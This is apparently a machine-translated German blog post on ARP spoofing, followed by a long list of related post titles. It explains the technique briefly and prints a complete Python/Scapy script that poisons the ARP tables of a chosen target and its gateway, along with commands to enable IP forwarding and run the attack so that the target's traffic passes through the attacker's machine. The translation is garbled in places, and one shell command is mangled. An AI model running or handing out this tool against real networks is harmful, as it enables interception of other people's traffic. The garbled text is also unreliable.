ARP-Spoofing mit Python

ARP-Spoofing

Zunächst werde ich erklären, was ARP auf meine eigene Weise ist. (Ich denke, es ist leicht zu verstehen, wenn Sie eine Figur machen) Bei der Kommunikation innerhalb des lokalen Bereichs (Schicht 2 oder niedriger) wird die MAC-Adresse anhand der IP-Adresse überprüft und die Kommunikation wird basierend auf dieser MAC-Adresse durchgeführt. Aus diesem Grund ist das ARP-Protokoll für den Teil "Finden der MAC-Adresse aus der IP-Adresse" zuständig. Nachdem Sie eine ungefähre Vorstellung davon haben, wie ARP funktioniert, handelt es sich um ARP-Spoofing, aber das Auffinden der MAC-Adresse anhand der IP-Adresse ist unpraktisch, wenn Sie dies bei jeder Kommunikation tun, nicht wahr? Tatsächlich besitzt das Terminal die Daten "Diese IP-Adresse ist diese MAC-Adresse". Und es ist ARP-Spoofing, das versucht, die entsprechenden Daten zu ändern (zu täuschen) (im Folgenden als ARP-Tabelle bezeichnet). Wenn Sie dies tun, senden Sie ein Paket an das Terminal des Angreifers, das andernfalls an den Router gesendet würde, und Sie können auch die ARP-Tabelle des Routers ändern, um in die Kommunikationsquelle einzudringen. Das folgende Programm führt Folgendes aus:

  1. Senden Sie ein gefälschtes ARP-Anforderungspaket an das Gateway und das Ziel. (Sie können es damit brechen)
  2. Senden Sie das richtige ARP-Paket, bevor Sie das Programm beenden, und kehren Sie zur normalen Kommunikation zurück. Der Punkt ist 1. Viele ARP-Spoiling-Tools senden jede Sekunde eine Antwort anstelle einer ARP-Anforderung und unterbrechen zu dem Zeitpunkt, zu dem die ARP-Tabelle des Angriffsziels aktualisiert wird. Jetzt müssen Sie warten, bis die ARP-Tabelle aktualisiert werden muss. Meine Implementierung verwendet die weniger bekannte Spezifikation "Die ARP-Tabelle wird durch eine ARP-Anforderung neu geschrieben".
#coding:utf-8
from scapy.all import *
import time
import sys

conf.verb = 0
gateway_ip = sys.argv[1]  
gateway_mac = sys.argv[2]
target_ip = sys.argv[3]
target_mac = sys.argv[4]
def main():
	try:
		print "[*] Start ARPspoofing..."
		poison_target(target_ip,target_mac,gateway_ip,gateway_mac)
	except KeyboardInterrupt:
		pass
	finally:
		time.sleep(2)
		restore_table(gateway_ip,gateway_mac,target_ip,target_mac)
		sys.exit(0)

def poison_target(target_ip,target_mac,gateway_ip,gateway_mac):
	poisoning_target = Ether(dst=target_mac)/ARP()
	poisoning_target.op = 2
	poisoning_target.psrc = gateway_ip
	poisoning_target.pdst = target_ip

	poisoning_gateway = Ether(dst=gateway_mac)/ARP()
	poisoning_gateway.op = 2
	poisoning_gateway.psrc = target_ip
	poisoning_gateway.pdst = gateway_ip

	while True:
		sendp(poisoning_target)
		sendp(poisoning_gateway)
		time.sleep(5)
	print "[*] Finished."
	return

def restore_table(gateway_ip,gateway_mac,target_ip,target_mac):
	print "[*] Restoring target."
	send(ARP(op=1,psrc=gateway_ip,hwsrc=gateway_mac,pdst=target_ip,hwdst=target_mac),count=3)

if __name__=="__main__":
	main()

Für Mac

sudo sysctl -w net.inet.ip.forwarding=1

Für Linux

sudo sysctl -w sudo sysctl -w net.ipv4.ip_forward=1

Laufen

sudo python arpspoofing.py gateway IP gateway MAC Ziel IP Ziel MAC

Alle vom Ziel angegebenen übertragenen Pakete des Terminals fliegen zu Ihrem Terminal.

Problem

Zuvor wurde die MAC-Adresse des anderen Teilnehmers (Gateway, Ziel) durch Senden erhalten, aber die MAC-Adresse Ihres Terminals (Angreifers), die in dem zu diesem Zeitpunkt gesendeten Anforderungspaket enthalten ist, wird angegeben. Ich habe beschlossen, es anzugeben, da die MAC-Adresse beim Ausführen von ARP-Spuffing möglicherweise dupliziert wird, da sie in die ARP-Tabelle aufgenommen wird. Da jedoch die MAC-Adresse des Angreifers im Gateway vorhanden ist, bevor ARP-Spoofing durchgeführt wird, kommt es zu Duplikationen. .. Als Lösung denke ich jetzt daran, die MAC-Adresse des Angreifers zu fälschen. Es kann sich um eine virtuelle Maschine handeln

Referenziertes Buch https://www.oreilly.co.jp/books/9784873117317/

Recommended Posts

ARP-Spoofing mit Python
FizzBuzz in Python3
Scraping mit Python
Scraping mit Python
Python mit Go
Twilio mit Python
In Python integrieren
Spielen Sie mit 2016-Python
AES256 mit Python
Getestet mit Python
Python beginnt mit ()
mit Syntax (Python)
Bingo mit Python
Zundokokiyoshi mit Python
Excel mit Python
Mikrocomputer mit Python
Mit Python besetzen
Ich habe ARP-Spoofing ausprobiert
ARP-Spoofing mit Python
Serielle Kommunikation mit Python
Zip, entpacken mit Python
Django 1.11 wurde mit Python3.6 gestartet
Python mit Eclipse + PyDev.
Socket-Kommunikation mit Python
Datenanalyse mit Python 2
Scraping in Python (Vorbereitung)
Versuchen Sie es mit Python.
Python lernen mit ChemTHEATER 03
Sequentielle Suche mit Python
"Objektorientiert" mit Python gelernt
Umgang mit Yaml mit Python
Löse AtCoder 167 mit Python
Serielle Kommunikation mit Python
[Python] Verwenden Sie JSON mit Python
Python lernen mit ChemTHEATER 05-1
Lerne Python mit ChemTHEATER
Führen Sie prepDE.py mit python3 aus
Ich habe ARP-Spoofing ausprobiert
1.1 Erste Schritte mit Python
Tweets mit Python sammeln
Binarisierung mit OpenCV / Python
3. 3. KI-Programmierung mit Python
Kernel-Methode mit Python
Scraping mit Python + PhantomJS
Fahren Sie WebDriver mit Python
[Python] Mit CGIHTTPServer umleiten
Sprachanalyse mit Python
Denken Sie an Yaml mit Python
Kinesis mit Python betreiben
Verwenden Sie DynamoDB mit Python
Zundko Getter mit Python
Behandle Excel mit Python
Ohmsches Gesetz mit Python
Führen Sie Blender mit Python aus
Python ab Windows 7
Heatmap von Python + matplotlib
Asynchron mit Python verarbeiten
Python-Programmierung mit Atom
Python lernen mit ChemTHEATER 02
Verwenden Sie Python 3.8 mit Anaconda
Installieren Sie Voluptuous mit Python 2.5
Screenshot mit Selen (Python Edition)